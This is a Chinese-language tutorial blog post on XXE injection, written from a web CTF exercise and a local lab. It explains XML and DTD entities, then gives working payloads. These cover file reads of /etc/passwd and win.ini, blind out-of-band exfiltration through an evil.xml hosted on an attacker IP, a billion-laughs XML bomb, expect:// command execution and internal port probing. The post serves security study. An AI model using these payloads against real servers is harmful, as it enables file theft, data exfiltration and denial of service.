XML外部實體注入
前言:
最近做了一道WEB題,涉及到XML外部實體注入(即XXE漏洞),恰好也沒有系統的學習過,這次就了解一下XXE漏洞。
0x01:簡單了解XML
XML 指可擴展標記語言(EXtensible Markup Language) XML 是一種標記語言,很類似 HTML XML 被設計為傳輸和存儲數據,其焦點是數據的內容 XML 被設計用來結構化、存儲以及傳輸信息 XML 允許創作者定義自己的標簽和自己的文檔結構
XML的優點:
xml是互聯網數據傳輸的重要工具,它可以跨越互聯網任何的平臺,不受編程語言和操作系統的限制,非常適合Web傳輸,而且xml有助于在服務器之間穿梭結構化數據,方便開發人員控制數據的存儲和傳輸。
XML的特點及作用:
特點:
1. xml與操作系統、編程語言的開發平臺都無關 2. 實現不同系統之間的數據交互
作用:
1. 配置應用程序和網站 2. 數據交互
而且在配置文件里邊所有的配置文件都是以XMl的格式來編寫的,跨平臺進行數據交互,它可以跨操作系統,也可以跨編程語言的平臺,所以可以看出XML是非常方便的,應用的范圍也很廣,但如果存在漏洞,那危害就不言而喻了。
XML語法、結構與實體引用:
語法:
1.XML元素都必須有關閉標簽。 2.XML 標簽對大小寫敏感。 3.XML 必須正確地嵌套。 4.XML 文檔必須有根元素。 5.XML 的屬性值須加引號。
結構:
1.XML 文檔聲明,在文檔的第一行 2.XML 文檔類型定義,即DTD,XXE 漏洞所在的地方 3.XML 文檔元素
如:

實體引用:
在 XML 中一些字符擁有特殊的意義,如果把字符 < 放在 XML 元素中,便會發生錯誤,這是因為解析器會把它當作新元素的開始。
例如:
<message>hello < world</message>
便會報錯,為了避免這些錯誤,可以實體引用來代替 < 字符
<message>hello < world</message>
XML 中,有 5 個預定義的實體引用,分別為:

上面提到XML 文檔類型定義,即DTD,XXE 漏洞所在的地方,為什么這個地方會產生XXE漏洞那,不要著急,先來了解一下DTD。
0x02 了解DTD:
文檔類型定義(DTD)可定義合法的XML文檔構建模塊。它使用一系列合法的元素來定義文檔的結構。DTD 可被成行地聲明于 XML 文檔中,也可作為一個外部引用。
優點:
有了DTD,每個XML文件可以攜帶一個自身格式的描述。 有了DTD,不同組織的人可以使用一個通用DTD來交換數據。
DTD文檔的三種應用形式:
1.內部DTD文檔
<!DOCTYPE 根元素[定義內容]>
2.外部DTD文檔
<!DOCTYPE 根元素 SYSTEM "DTD文件路徑">
3.內外部DTD文檔結合
<!DOCTYPE 根元素 SYSTEM "DTD文件路徑" [定義內容]>
例如:
上半部分是內部DTD文檔,下半部分是XML文檔

#PCDATA(Parsed Character Data) ,代表的是可解析的字符數據,即字符串
下面再舉一個外部DTD文檔的例子:
新建一個DTD文檔,文件名叫LOL.dtd,內容如下:
<?xml version="1.0" encoding="UTF-8"?> <!ELEMENT game (lol, dota, dnf)> <!ELEMENT lol (#PCDATA)> <!ELEMENT dota (#PCDATA)> <!ELEMENT dnf (#PCDATA)>
再新建一個XML文檔,加入外部DTD文件的名稱(同一個路徑下只給出文件名即可)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE game SYSTEM "LOL.dtd">
<game>
<lol>a</lol>
<dota>b</dota>
<dnf>c</dnf>
</game>
具體例子可以參考
有效的XML: DTD(文檔類型定義)介紹
DTD元素
在一個 DTD 中,元素通過元素聲明來進行聲明。

其中可以看到一些PCDATA或是CDATA,這里簡單敘述一下:
PCDATA:
PCDATA 的意思是被解析的字符數據(parsed character data)。可以把字符數據想象為 XML 元素的開始標簽與結束標簽之間的文本。PCDATA 是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記。文本中的標簽會被當作標記來處理,而實體會被展開。但是,被解析的字符數據不應當包含任何 & < > 字符;需要使用 & < > 實體來分別替換它們。
CDATA:
CDATA 的意思是字符數據(character data)。CDATA 是不會被解析器解析的文本。在這些文本中的標簽不會被當作標記來對待,其中的實體也不會被展開。
簡單比較直觀的就是這樣的一種解釋:
PCDATA表示已解析的字符數據。
CDATA是不通過解析器進行解析的文本,文本中的標簽不被看作標記。CDATA表示里面是什么數據XML都不會解析
DTD-實體
實體是用于定義引用普通文本或特殊字符的快捷方式的變量。 實體引用是對實體的引用。 實體可在內部或外部進行聲明。
內部實體
<!ENTITY 實體名稱 "實體的值">
一個實體由三部分構成: &符號, 一個實體名稱, 以及一個分號 (;)
例如:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe "hello">]> <foo>&xxe;</foo>
外部實體
XML中對數據的引用稱為實體,實體中有一類叫外部實體,用來引入外部資源,有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機,外部實體的引用可以利用如下協議
file:///path/to/file.ext http://url/file.ext php://filter/read=convert.base64-encode/resource=conf.php

<!ENTITY 實體名稱 SYSTEM "URL">
參數實體
<!ENTITY %實體名稱 "值"> <!ENTITY %實體名稱 SYSTEM "URL">
例如:
<!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" > %xxe;]> <foo>&evil;</foo>
外部evil.dtd中的內容
<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >
外部實體可支持http、file等協議,所以就有可能通過引用外部實體進行遠程文件讀取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xdsec [ <!ELEMENT methodname ANY > <!ENTITY xxe(實體引用名) SYSTEM "file:///etc/passwd"(實體內容) >]> <methodcall> <methodname>&xxe;</methodname> </methodcall>
上述代碼中,XML的外部實體xxe被賦予的值為:file:///etc/passwd當解析xml文檔是,&xxe;會被替換為file:///ect/passwd的內容,導致敏感信息泄露
(例子參考大師傅博客XXE漏洞學習)
可能這些知識點會枯燥無味,但XXE主要是利用了DTD引用外部實體而導致的漏洞,所以了解還是很有必要的,接下來就要進入正題咯。
0x02:一步一步接近XXE漏洞
漏洞危害:
如果開發人員在開發時允許引用外部實體時,惡意用戶便會利用這一漏洞構造惡意語句,從而引發文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等,可見其危害之大。
XXE常見的幾種攻擊方式

(這張圖其實就很好的解釋了如何利用XXE進行攻擊)
XXE和SQL注入的攻擊方法也有一點相似,就是有回顯和沒有回顯
有回顯的情況可以直接在頁面中看到payload的執行結果或現象,無回顯的情況又稱為blind xxe(類似于布爾盲注、時間盲注),可以使用外帶數據(OOB)通道提取數據
下面就通過構造一些簡單的環境來了解一下各個攻擊方法究竟是如何利用的
一、讀取任意文件(有回顯與無回顯)
測試源碼:
<?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml);//有回顯 ?>
構造payload:
<?xml version="1.0" enyoucoding="utf-8"?> <!DOCTYPE root [<!ENTITY file SYSTEM "file:///D://1.txt">]> <root>&file;</root>
將payload進行url編碼,傳入即可讀取任意文件

根據結果我們可以看到通過構造內部實體的payload,在 xml 中 &file ; 已經變成了外部文件1.txt中內容,導致敏感信息泄露。

下面通過靶場來進行練習有回顯讀取文件和無回顯讀取文件,抓包發現通過XML進行傳輸數據

發現響應包的內容為usrename

構造payload
<?xml version="1.0"?> <!DOCTYPE hack [ <!ENTITY test SYSTEM "file:///d:/1.txt"> ]> <user> <username>&test;</username> <password>hack</password> </user>

將file:///d:/1.txt改為file:///c:/windows/win.ini等其他重要文件都是可以讀取的,也可以讀取PHP文件等。

解碼后即是PHP代碼的內容

上面利用內部實體和外部實體分別構造了不同的payload,而且我們發現這個靶場是有回顯的,通過回顯的位置我們觀察到了響應包的內容,以此為依據進行構造payload,從而達到任意讀取文件的目的。
但這種攻擊方式屬于傳統的XXE,攻擊者只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,那如果對方服務器沒有回顯應該如何進行注入
下面就將源碼修改下,將輸出代碼和報錯信息禁掉,改成無回顯

再次進行注入,發現已經沒有回顯內容

下面就利用這個靶場來練習無回顯的文件讀取,遇到無回顯這種情況,可以通過Blind XXE方法加上外帶數據通道來提取數據,先使用php://filter獲取目標文件的內容,然后將內容以http請求發送到接受數據的服務器來讀取數據。雖然無法直接查看文件內容,但我們仍然可以使用易受攻擊的服務器作為代理,在外部網絡上執行掃描以及代碼。
這里我使用的攻擊服務器地址為192.168.59.132,構造出如下payload:
<?xml version="1.0"?> <!DOCTYPE test[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/PHPstudys/PHPTutorial/WWW/php_xxe/doLogin.php"> <!ENTITY % dtd SYSTEM "http://192.168.59.132/evil.xml"> %dtd; %send; ]>

vil.xml
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.59.132/?content=%file;'>"> %payload; //%號要進行實體編碼成%
evil.xml放在攻擊服務器的web目錄下進行訪問

這里如果不是管理員,需要更改一下對目錄的管理權限等,這里偷個懶權限全調至最高

至此準備工作完畢,下面就監控下apache的訪問日志

請求幾次,發現

接下來就base64解碼即可
實驗完成,但為什么那,簡單的解釋下:
從 payload 中能看到 連續調用了三個參數實體 %dtd;%file;%send;,這就是利用先后順序,%dtd 先調用,調用后請求遠程服務器(攻擊服務器)上的evil.xml,類似于將evil.xml包含進來,然后再調用 evil.xml中的 %file, %file 就會去獲取對方服務器上面的敏感文件,然后將 %file 的結果填入到 %send ,再調用 %send; 把我們的讀取到的數據發送到我們的遠程主機上,這樣就實現了外帶數據的效果,完美的解決了 XXE 無回顯的問題。
無回顯的構造方法也有幾種固定的模板,如:
一、第一種命名實體+外部實體+參數實體寫法
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///c://test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %all; ]> <value>&send;</value>
evil.xml文件內容為
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:88%file;'>">
二、第二種命名實體+外部實體+參數實體寫法
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt"> <!ENTITY % dtd SYSTEM "http://localhost:88/evil.xml"> %dtd; %send; ]> <root></root>
evil.xml文件內容為:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost:88/?content=%file;'>"> %payload;
二、DOS攻擊(Denial of service:拒絕服務)
幾乎所有可以控制服務器資源利用的東西,都可用于制造DOS攻擊。通過XML外部實體注入,攻擊者可以發送任意的HTTP請求,因為解析器會解析文檔中的所有實體,所以如果實體聲明層層嵌套的話,在一定數量上可以對服務器器造成DoS。
例如常見的XML炸彈
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
XML解析器嘗試解析該文件時,由于DTD的定義指數級展開(即遞歸引用),lol 實體具體還有 “lol” 字符串,然后一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2 個 “lol” 了,以此類推,lol9 實體含有 10^8 個 “lol” 字符串,最后再引用lol9。所以這個1K不到的文件經過解析后會占用到3G的內存,可見有多恐怖,不過現代的服務器軟硬件大多已經抵御了此類攻擊。
防御XML炸彈的方法也很簡單禁止DTD或者是限制每個實體的最大長度。
三、命令執行
在php環境下,xml命令執行需要php裝有expect擴展,但該擴展默認沒有安裝,所以一般來說命令執行是比較難利用,但不排除有幸運的情況咯,這里就搬一下大師傅的代碼以供參考:
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
四、內網探測
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY> <!ENTITY xxe SYSTEM "http://127.0.0.1:80">]> <root>

后面的403禁止就很明顯的說明了該端口是開放狀態的
如果這里再嘗試一下沒有開放的端口,發現

因此也可以利用這種方法來探測內網端口以及對內網進行攻擊等
總結:
通過這次學習,有get的新的知識,繼續努力學習吧!